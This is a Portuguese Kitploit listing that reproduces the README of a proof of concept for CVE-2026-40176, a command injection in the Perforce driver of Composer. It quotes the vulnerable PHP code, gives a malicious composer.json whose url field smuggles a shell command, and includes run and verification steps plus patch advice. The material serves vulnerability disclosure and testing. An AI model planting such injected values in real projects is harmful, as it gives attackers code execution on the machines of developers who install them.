Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40176-poc — Prova de conceito para CVE-2026-40176, uma injeção de comando no driver Perforce do Composer permitindo execução remota de código via composer.json manipulado. | Kitploit
Ferramentas/GitHubGitHub/saku0512/cve-2026-40176-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

Prova de conceito para CVE-2026-40176, uma injeção de comando no driver Perforce do Composer permitindo execução remota de código via composer.json manipulado.

Ver Repositório
29há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40176: Prova de Conceito de Injeção de Comando de SO no Perforce do Composer

Versão em inglês

Resumo

Este repositório é uma Prova de Conceito (PoC) para a vulnerabilidade crítica de injeção de comando de SO CVE-2026-40176 presente no driver Perforce VCS do Composer. Esta vulnerabilidade afeta versões do Composer anteriores a 2.2.27 e 2.9.6.

A vulnerabilidade existe no método Perforce::generateP4Command(). Ao montar comandos de shell, os valores de configuração do repositório, como url, p4user e client, não são sanitizados adequadamente, possibilitando que um invasor, usando um composer.json controlado, execute comandos arbitrários no momento em que a vítima executa composer install ou composer update.

Descoberto por: saku0512 (GitHub)

Aviso de isenção de responsabilidade

Este projeto destina-se exclusivamente a fins educacionais e a testes de segurança éticos autorizados.

O autor não se responsabiliza por uso indevido, danos ou atividades ilegais decorrentes desta ferramenta. Acessar sistemas de computador sem permissão é ilegal. Ao utilizar este software, você concorda em realizar testes de segurança apenas em ambientes para os quais tenha autorização explícita.

Detalhes da vulnerabilidade

  • ID CVE: CVE-2026-40176
  • Tipo: Injeção de comando de SO (CWE-78)
  • Impacto: Execução remota de código (RCE)
  • Versões afetadas:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • Versões corrigidas: v2.2.27 / v2.9.6

Causa raiz

No método generateP4Command() em src/Composer/Util/Perforce.php, as strings obtidas das configurações do repositório são concatenadas diretamente para construir um comando de shell.

$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // Não escapado
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // Não escapado
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Não escapado

Se esses valores contiverem metacaracteres de shell como ;, & ou |, eles serão interpretados pelo shell, resultando em injeção de comando.

Como usar o PoC

1. Preparação do ambiente

Certifique-se de que o PHP está instalado. Este PoC reproduz a lógica vulnerável interna do Composer.

# Verificar versão do PHP
php -v

2. Exemplo de configuração (composer.json malicioso)

Um invasor pode criar um composer.json como o seguinte:

{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. Execução do PoC

O poc.php incluso reproduz a lógica interna de geração e execução de comandos na versão vulnerável do Composer.

# Executar o PoC
php poc.php

4. Verificação

Verifique se o arquivo criado pelo payload existe para confirmar a execução do comando.

ls -l /tmp/pwned_rce_confirmed

Se o arquivo existir, a execução remota de código (RCE) foi confirmada.

Mitigação

Atualize o Composer imediatamente para a versão mais recente.

composer self-update

A correção aplica ProcessExecutor::escape() a todos os argumentos provenientes de entrada do usuário para evitar a interpretação pelo shell.

Informações de referência

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
Baixar ferramenta